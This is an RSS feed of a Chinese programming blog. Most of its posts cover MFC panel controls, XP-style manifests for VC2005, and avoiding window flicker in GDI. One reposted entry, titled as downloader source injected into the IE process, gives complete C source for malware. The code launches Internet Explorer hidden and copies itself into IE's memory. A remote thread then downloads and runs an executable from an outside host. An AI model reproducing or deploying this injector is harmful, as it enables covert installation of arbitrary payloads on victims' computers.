﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-fangyuanning</title><link>http://www.cnitblog.com/fangyuanning/</link><description /><language>zh-cn</language><lastBuildDate>Mon, 04 May 2026 21:00:46 GMT</lastBuildDate><pubDate>Mon, 04 May 2026 21:00:46 GMT</pubDate><ttl>60</ttl><item><title>mfc实现的Panel控件（原创转载请注明出处）</title><link>http://www.cnitblog.com/fangyuanning/archive/2009/07/20/60249.html</link><dc:creator>Pop</dc:creator><author>Pop</author><pubDate>Mon, 20 Jul 2009 15:48:00 GMT</pubDate><guid>http://www.cnitblog.com/fangyuanning/archive/2009/07/20/60249.html</guid><wfw:comment>http://www.cnitblog.com/fangyuanning/comments/60249.html</wfw:comment><comments>http://www.cnitblog.com/fangyuanning/archive/2009/07/20/60249.html#Feedback</comments><slash:comments>8</slash:comments><wfw:commentRss>http://www.cnitblog.com/fangyuanning/comments/commentRss/60249.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/fangyuanning/services/trackbacks/60249.html</trackback:ping><description><![CDATA[<p>使用MFC的人都知道，MFC里提供的控件都是非常基本的Windows控件，需要高级控件，一般除了自己编写，就是使用别人编写好的库。而一般很难找到Panel控件，我本人找了很久也没找到。因此自己实现了一个。供大家使用。<br><br>实现思路：<br><br>1.需要一个管理各个字Panel的父类，这里的是CPanel类，这个类负责各个Panel的排版和管理工作。<br><br>2.需要一个支持对话框显示的类，对应这里的CPanelItem类，只要从这个类派生后，实现这个小面板的逻辑功能就可以了。<br><br>源代码下载：<br><a title=vc_panel href="http://www.cnitblog.com/Files/fangyuanning/mfc_panel_control.rar">/Files/fangyuanning/mfc_panel_control.rar</a></p>
<br>转载请注明出处。
<img src ="http://www.cnitblog.com/fangyuanning/aggbug/60249.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/fangyuanning/" target="_blank">Pop</a> 2009-07-20 23:48 <a href="http://www.cnitblog.com/fangyuanning/archive/2009/07/20/60249.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VC2005程序界面使用XP风格</title><link>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60210.html</link><dc:creator>Pop</dc:creator><author>Pop</author><pubDate>Sun, 19 Jul 2009 15:45:00 GMT</pubDate><guid>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60210.html</guid><wfw:comment>http://www.cnitblog.com/fangyuanning/comments/60210.html</wfw:comment><comments>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60210.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/fangyuanning/comments/commentRss/60210.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/fangyuanning/services/trackbacks/60210.html</trackback:ping><description><![CDATA[<p>VC2005程序界面使用XP风格 收藏 <br>我把程序从VC6和 VS2003 移植到VS2005时, 遇到了一些问题, 这里讲的是XP风格化的问题:</p>
<p><br>为了实现界面的XP风格化,&nbsp; 需要有一个manifest文件XPStyle.manifest(见附文).<br>可以添加到项目资源中, .rc文件中会添加一个ID:1 type:manifeset的资源; <br>可是, 这个资源ID在VC2005里会提示资源冲突(VC2003不会冲突).</p>
<p>在百度搜索, 发现了一个网友提供的方案: "项目属性"--"清单工具"--"输入和输出"--"嵌入清单"--"否" ;<br>但是, 这个方案对我来说有不足, 会引起其他问题, 比如动态链接MFC的程序, 执行时会提示找不到MFC库文件, <br>可我的电脑可是装了VS2005的,怎么没有库? 试了几次, 就是这个清单的问题.<br>如果选择不生成清单文件, 那么界面风格就不是XP化的.</p>
<p>查MSDN后,&nbsp; 发现MSDN已经提供了解决方法: <br>在 Visual Studio 开发环境中设置此链接器选项<br>打开此项目的&#8220;属性页&#8221;对话框。有关详细信息，请参见设置 Visual C++ 项目属性。 <br>单击&#8220;链接器&#8221;文件夹。<br>单击&#8220;嵌入的 IDL&#8221;属性页。<br>修改&#8220;类型库资源 ID&#8221;属性。(我设置为100,OK!)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>这种方案也算是个好方案, 但是需要去修改.RC文件里面的资源ID.<br>最后推荐一种方法:<br>不要将manifest文件添加到项目资源中, 有两种做法:<br>1. 在"项目属性"--"清单工具"---"输入和输出"---"附加清单文件"--在里面填入XML文件的位置;<br>比如我的文件位置: $(ProjectDir)\res\XPStyle.manifest<br>2. 直接把文件添加到项目的文件列表中(不是导入到资源中).</p>
<p>[附manifest文件内容]</p>
<p>&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;<br>&lt;assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"&gt;<br>&lt;assemblyIdentity <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; version="1.0.0.0" <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; processorArchitecture="X86" <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name="Microsoft.Windows.M8000"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type="win32" <br>/&gt;<br>&lt;description&gt;SetM8000&lt;/description&gt;<br>&lt;dependency&gt;<br>&nbsp;&nbsp;&nbsp; &lt;dependentAssembly&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;assemblyIdentity <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type="win32" <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name="Microsoft.Windows.Common-Controls" <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; version="6.0.0.0" <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; processorArchitecture="X86" <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; publicKeyToken="6595b64144ccf1df" <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; language="*" <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /&gt;<br>&nbsp;&nbsp;&nbsp; &lt;/dependentAssembly&gt;<br>&lt;/dependency&gt;<br>&lt;/assembly&gt;</p>
<p>&nbsp;</p>
<p><br>本文来自CSDN博客，转载请标明出处：<a href="http://blog.csdn.net/ydbcsdn/archive/2009/03/19/4003410.aspx">http://blog.csdn.net/ydbcsdn/archive/2009/03/19/4003410.aspx</a></p>
<img src ="http://www.cnitblog.com/fangyuanning/aggbug/60210.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/fangyuanning/" target="_blank">Pop</a> 2009-07-19 23:45 <a href="http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60210.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>插入IE进程的下载者源代码</title><link>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60206.html</link><dc:creator>Pop</dc:creator><author>Pop</author><pubDate>Sun, 19 Jul 2009 13:19:00 GMT</pubDate><guid>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60206.html</guid><wfw:comment>http://www.cnitblog.com/fangyuanning/comments/60206.html</wfw:comment><comments>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60206.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/fangyuanning/comments/commentRss/60206.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/fangyuanning/services/trackbacks/60206.html</trackback:ping><description><![CDATA[<p>插入IE进程的下载者源代码 收藏 <br>/*<br>"mini_downloader"<br>code bykardinal p.s.t<br>compile by vc++ 6.0<br>can not run under win98;<br>*/<br>#include &lt;windows.h&gt;</p>
<p>#pragma comment(lib,"user32.lib")<br>#pragma comment(lib,"kernel32.lib")</p>
<p>//#pragma comment(linker, "/OPT:NOWIN98")&nbsp;&nbsp; //取消这几行的注释，编译出的文件只有2K大小<br>//#pragma comment(linker, "/merge:.data=.text")&nbsp;&nbsp; <br>//#pragma comment(linker, "/merge:.rdata=.text")&nbsp;&nbsp; <br>//#pragma comment(linker, "/align:0x200")<br>#pragma comment(linker, "/ENTRY:main")&nbsp;&nbsp; <br>#pragma comment(linker, "/subsystem:windows")<br>#pragma comment(linker, "/BASE:0x13150000")</p>
<p>HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数<br>DWORD(WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数<br>HANDLE processhandle;<br>DWORD pid;<br>HINSTANCE hshell,hurlmon;</p>
<p>void download() //注入使用的下载函数<br>{<br>&nbsp;&nbsp;&nbsp; hshell=LoadLibrary("Shell32.dll");<br>&nbsp;&nbsp;&nbsp; hurlmon=LoadLibrary("urlmon.dll");<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; (FARPROC&amp;)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");<br>&nbsp;&nbsp;&nbsp; (FARPROC&amp;)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; DOWNFILE(NULL,"<a href='http://192.168.0.188/1.exe","c://1.exe",0'>http://192.168.0.188/1.exe","c:\\1.exe",0</a>, NULL);<br>&nbsp;&nbsp;&nbsp; SHELLRUN(0,"open","c:\\1.exe",NULL,NULL,5);<br>&nbsp;&nbsp;&nbsp; ExitProcess(0);<br>};</p>
<p><br>void main() //主函数<br>{&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; //1.得到IE路径,并运行<br>&nbsp;&nbsp;&nbsp; char iename[MAX_PATH],iepath[MAX_PATH];<br>&nbsp;&nbsp;&nbsp; ZeroMemory(iename,sizeof(iename));<br>&nbsp;&nbsp;&nbsp; ZeroMemory(iepath,sizeof(iepath));<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; GetWindowsDirectory(iepath,MAX_PATH);<br>&nbsp;&nbsp;&nbsp; strncpy(iename,iepath,3);<br>&nbsp;&nbsp;&nbsp; strcat(iename,"program files\\Internet Explorer\\IEXPLORE.EXE");<br>&nbsp;&nbsp;&nbsp; //strcat(iename,"windows\\notepad.EXE");<br>&nbsp;&nbsp;&nbsp; WinExec(iename,SW_HIDE);<br>&nbsp;&nbsp;&nbsp; Sleep(2000);<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; //2.得到 IE process handle<br>&nbsp;&nbsp;&nbsp; HWND htemp;<br>&nbsp;&nbsp;&nbsp; htemp=FindWindow("IEFrame",NULL);<br>&nbsp;&nbsp;&nbsp; GetWindowThreadProcessId(htemp,&amp;pid);<br>&nbsp;&nbsp;&nbsp; processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; //3.分配内存<br>&nbsp;&nbsp;&nbsp; HMODULE Module;<br>&nbsp;&nbsp;&nbsp; LPVOID NewModule;<br>&nbsp;&nbsp;&nbsp; DWORD Size;<br>&nbsp;&nbsp;&nbsp; LPDWORD lpimagesize;<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; Module = GetModuleHandle(NULL);//进程映像的基址<br>&nbsp;&nbsp;&nbsp; //得到内存镜像大小<br>&nbsp;&nbsp;&nbsp; _asm<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push eax;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ebx;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx,Module;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov eax,[ebx+0x3c];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea eax,[ebx+eax+0x50];&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov eax,[eax]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov lpimagesize,eax;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop ebx;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop eax;<br>&nbsp;&nbsp;&nbsp; };<br>&nbsp;&nbsp;&nbsp; Size=(DWORD)lpimagesize;<br>&nbsp;&nbsp;&nbsp; NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//确定起始基址和内存映像基址的位置<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; //4.写内存，创建线程<br>&nbsp;&nbsp;&nbsp; WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据<br>&nbsp;&nbsp;&nbsp; LPTHREAD_START_ROUTINE entrypoint;<br>&nbsp;&nbsp;&nbsp; __asm<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push eax;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea eax,download;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov entrypoint,eax;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop eax<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; CreateRemoteThread(processhandle, NULL, 0, entrypoint, Module, 0, NULL);&nbsp;&nbsp;&nbsp; //建立远程线程,并运行<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; //5.关闭对象<br>&nbsp;&nbsp;&nbsp; CloseHandle(processhandle);<br>&nbsp;&nbsp;&nbsp; Sleep(5000);<br>&nbsp;&nbsp;&nbsp; return;<br>}; </p>
<p>本文来自CSDN博客，转载请标明出处：<a href="http://blog.csdn.net/zshwlw/archive/2008/05/27/2487299.aspx">http://blog.csdn.net/zshwlw/archive/2008/05/27/2487299.aspx</a></p>
<img src ="http://www.cnitblog.com/fangyuanning/aggbug/60206.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/fangyuanning/" target="_blank">Pop</a> 2009-07-19 21:19 <a href="http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60206.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>不用双缓冲实现无闪烁图象</title><link>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60204.html</link><dc:creator>Pop</dc:creator><author>Pop</author><pubDate>Sun, 19 Jul 2009 12:18:00 GMT</pubDate><guid>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60204.html</guid><wfw:comment>http://www.cnitblog.com/fangyuanning/comments/60204.html</wfw:comment><comments>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60204.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/fangyuanning/comments/commentRss/60204.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/fangyuanning/services/trackbacks/60204.html</trackback:ping><description><![CDATA[<p>不用双缓冲实现无闪烁图象 收藏 <br>首先说一下产生闪烁的原因，当窗口由于任何原因需要重绘时，总是先用背景色或背景图象将显示区清除，然后才显示图象，这样在短时间内背景色与显示图形交替出现，使得显示窗口看起来在闪。如果将背景刷设置成NULL，这样无论怎样重绘图形都不会闪了，但是会使得窗口的显示乱成一团，因为重绘时没有背景色对原来绘制的图形进行清除，而又叠加上了新的图形。</p>
<p>一般的解决方法就是采用双缓冲，创建一幅内存图象，把背景和图片先绘制到该图象，然后把绘制好的该图象显示到窗口，这样就不会产生闪烁，其实就是隐藏了图象的显示过程，原来是在前台，给你看到先在画布上刷上背景，再画上图象，现在是在后台画好了再拿出来给你看。</p>
<p>看起来好象解决方法是需要一次性绘制好图象，其实关键是不能让任何背景及图片在绘制时产生重叠，跟是否一次性绘制没多大关系。电脑的绘制速度还是很快的，不信可以试试把背景刷设置成NULL，这样不会闪烁，然后循环调用BitBlt把一幅小图片铺满整个窗口，虽然是多次绘制，一样不会闪烁，但是如果改变一下循环步长，让图片产生重叠，就会开始闪烁了。</p>
<p>知道了闪烁的原因，不用双缓冲的解决办法就不难找到了，调用ExcludeClipRect，可以排除掉绘制区域，先绘制图片，ExcludeClipRect掉图片的区域，再绘制背景，相当于把一幅挖了一个洞的画布贴到窗口，这样不产生绘制重叠部分，就不会产生闪烁了。</p>
<p>API代码，始终在窗口右下角显示一幅300*200的图片，窗口背景为黑色：</p>
<p>case WM_PAINT:<br>{<br>&nbsp;PAINTSTRUCT ps;<br>&nbsp;RECT rc;<br>&nbsp;HDC hMemDC;<br>&nbsp;<br>&nbsp;GetClientRect(hWnd,&amp;rc);<br>&nbsp;BeginPaint(hWnd,&amp;ps);<br>&nbsp;hMemDC = CreateCompatibleDC(ps.hdc);<br>&nbsp;SelectObject(hMemDC,hbmp);<br>&nbsp;BitBlt(ps.hdc,rc.right-300,rc.bottom-200,300,200,hMemDC,0,0,SRCCOPY);<br>&nbsp;ExcludeClipRect(ps.hdc,rc.right-300,rc.bottom-200,rc.right,rc.bottom);<br>&nbsp;FillRect(ps.hdc,&amp;rc,(HBRUSH)GetStockObject(BLACK_BRUSH));<br>&nbsp;DeleteDC(hMemDC);<br>&nbsp;EndPaint(m_hWnd,&amp;ps);<br>&nbsp;return 0;<br>}</p>
<p>有时候因为刷新区域的问题，可能调整窗口但是WM_PAINT的代码不起作用，这时需要响应WM_SIZE消息，通知画面更新一下：<br>case WM_SIZE:<br>&nbsp;InvalidateRect(hWnd,NULL,FALSE);<br>&nbsp;break;<br>&nbsp;</p>
<p>对于显示多幅图象，这个方法也是适用的，只要每绘制完一幅图象，ExcludeClipRect掉该图象区域就可以，但是注意如果图象有重叠，绘制顺序是反过来的，即盖在最上面的图象需要最先绘制，最后给整个窗口刷上背景就OK了。</p>
<p>&nbsp;</p>
<p>本文来自CSDN博客，转载请标明出处：<a href="http://blog.csdn.net/ringphone/archive/2007/12/03/1914052.aspx">http://blog.csdn.net/ringphone/archive/2007/12/03/1914052.aspx</a></p>
<img src ="http://www.cnitblog.com/fangyuanning/aggbug/60204.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/fangyuanning/" target="_blank">Pop</a> 2009-07-19 20:18 <a href="http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60204.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>解决Windows 程序界面闪烁问题的一些经验</title><link>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60203.html</link><dc:creator>Pop</dc:creator><author>Pop</author><pubDate>Sun, 19 Jul 2009 12:17:00 GMT</pubDate><guid>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60203.html</guid><wfw:comment>http://www.cnitblog.com/fangyuanning/comments/60203.html</wfw:comment><comments>http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60203.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnitblog.com/fangyuanning/comments/commentRss/60203.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/fangyuanning/services/trackbacks/60203.html</trackback:ping><description><![CDATA[<p>解决Windows 程序界面闪烁问题的一些经验 收藏 <br>原帖地址：<a href="http://blog.joycode.com/yaodong/archive/2004/11/26/39764.aspx">http://blog.joycode.com/yaodong/archive/2004/11/26/39764.aspx</a></p>
<p>一般的windows 复杂的界面需要使用多层窗口而且要用贴图来美化，所以不可避免在窗口移动或者改变大小的时候出现闪烁。</p>
<p>先来谈谈闪烁产生的原因</p>
<p>原因一：<br>如果熟悉显卡原理的话，调用GDI函数向屏幕输出的时候并不是立刻就显示在屏幕<br>上只是写到了显存里，而显卡每隔一段时间把显存的内容输出到屏幕上，这就是刷新周期。</p>
<p>一般显卡的刷新周期是 1/80秒左右，具体数字可以自己设置的。</p>
<p>这样问题就来了，一般画图都是先画背景色，然后再把内容画上去，如果这两次操作不在同一个<br>刷新周期内完成，那么给人的视觉感受就是，先看到只有背景色的图像，然后看到画上内容的图像，<br>这样就会感觉闪烁了。</p>
<p>解决方法：尽量快的输出图像，使输出在一个刷新周期内完成，如果输出内容很多比较慢，那么采用<br>内存缓冲的方法，先把要输出的内容在内存准备好，然后一次输出到显存。要知道一次API调用一般可以<br>在一个刷新周期内完成。</p>
<p>对于GDI，用创建内存DC的方法就可以了</p>
<p>原因二：</p>
<p>复杂的界面有多层窗口组成，当windows在窗口改变大小的时候是先重画父窗口，然后重画子窗口，子父<br>窗口重画的过程一般无法在一个刷新周期内完成，所以会呈现闪烁。</p>
<p>我们知道父窗口上被子窗口挡住的部分其实没必要重画的</p>
<p>解决方法：给窗口加个风格 WS_CLIPCHILDREN ,这样父窗口上被子窗口挡住的部分就不会重画了。</p>
<p>如果同级窗口之间有重叠，那么需要再加上 WS_CLIPSIBLINGS 风格</p>
<p>原因三：</p>
<p>有时候需要在窗口上使用一些控件，比如IE，当你的窗口改变大小的时候IE会闪烁，即使你有了WS_CLIPCHILDREN<br>也没用。原因在于窗口的类风格有CS_HREDRAW 或者 CS_VREDRAW，这两个风格表示窗口在宽度或者高度变化的时候<br>重画，但是这样就会引起IE闪烁</p>
<p>解决方法：注册窗口类的时候不要使用这两个风格，如果窗口需要在改变大小的时候重画，那么可以在WM_SIZE的时候<br>调用RedrawWindow。</p>
<p>原因四：</p>
<p>界面上窗口很多，而且改变大小时很多窗口都要移动和改变大小，如果使用MoveWindow或者SetWindowPos两个API来<br>改变窗口的大小和位置，由于他们是等待窗口重画完成后才返回，所以过程很慢，这样视觉效果就可能会闪烁。</p>
<p>解决方法：</p>
<p>使用以下API来处理窗口移动，BeginDeferWindowPos, DeferWindowPos，EndDeferWindowPos<br>先调用 BeginDeferWindowPos 设定需要移动的窗口的个数<br>使用DeferWindowPos，来移动窗口，这个API并不真的造成窗口移动<br>EndDeferWindowPos 一次性完成所有窗口的大小和位置的改变。</p>
<p>有个地方要特别注意，要仔细计算清楚要移动多少个窗口，BeginDeferWindowPos设定<br>的个数一定要和实际的个数一致，否则在Win9x下，如果实际移动的窗口数多于调用BeginDeferWindowPos<br>时设定的个数，可能会造成系统崩溃。在Windows NT系列下不会有这样的问题。</p>
<p>&nbsp; </p>
<p>本文来自CSDN博客，转载请标明出处：<a href="http://blog.csdn.net/ringphone/archive/2008/01/14/2042693.aspx">http://blog.csdn.net/ringphone/archive/2008/01/14/2042693.aspx</a></p>
<img src ="http://www.cnitblog.com/fangyuanning/aggbug/60203.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/fangyuanning/" target="_blank">Pop</a> 2009-07-19 20:17 <a href="http://www.cnitblog.com/fangyuanning/archive/2009/07/19/60203.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CEGUI教程</title><link>http://www.cnitblog.com/fangyuanning/archive/2009/07/01/59745.html</link><dc:creator>Pop</dc:creator><author>Pop</author><pubDate>Tue, 30 Jun 2009 16:05:00 GMT</pubDate><guid>http://www.cnitblog.com/fangyuanning/archive/2009/07/01/59745.html</guid><wfw:comment>http://www.cnitblog.com/fangyuanning/comments/59745.html</wfw:comment><comments>http://www.cnitblog.com/fangyuanning/archive/2009/07/01/59745.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.cnitblog.com/fangyuanning/comments/commentRss/59745.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/fangyuanning/services/trackbacks/59745.html</trackback:ping><description><![CDATA[本人写的一个关于CEGUI的简单教程，放到这里与大家共享。<br><br>有疑问可以提，我有时间尽快回复。<br><br>下载文档：<br><a title=CEGUI style="COLOR: #ff6600" href="http://www.cnitblog.com/Files/fangyuanning/CEGUI/CEGUI_mht.rar" target=_blank><u>/Files/fangyuanning/CEGUI/CEGUI_mht.rar</u></a> <br><br><br>还附带一些代码和实例暂时不提供下载了。<br><br><br>欢迎提建议和评论。 <br><br>转载请注明出处。
<img src ="http://www.cnitblog.com/fangyuanning/aggbug/59745.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/fangyuanning/" target="_blank">Pop</a> 2009-07-01 00:05 <a href="http://www.cnitblog.com/fangyuanning/archive/2009/07/01/59745.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>